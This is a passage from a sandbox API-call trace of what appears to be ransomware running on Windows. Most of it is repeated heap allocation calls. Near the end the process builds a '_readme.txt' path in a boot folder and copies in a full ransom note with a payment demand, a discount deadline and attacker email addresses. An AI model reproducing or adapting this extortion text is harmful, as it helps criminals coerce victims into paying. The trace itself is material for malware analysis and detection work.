| out: hHeap=0x35b0000) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.073] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.073] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.074] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.074] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.075] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.076] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.076] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.077] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.078] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.078] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.079] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.079] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.079] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.079] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.079] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.079] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.079] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.079] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0117.079] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.079] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.079] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.079] PathFindFileNameW (pszPath="") returned="" [0117.079] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.079] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.079] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.079] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x800) returned 0x61eeac0 [0117.079] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.079] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x810) returned 0x676ab00 [0117.080] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.080] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.080] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0117.080] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.080] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.080] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0117.080] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.080] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool 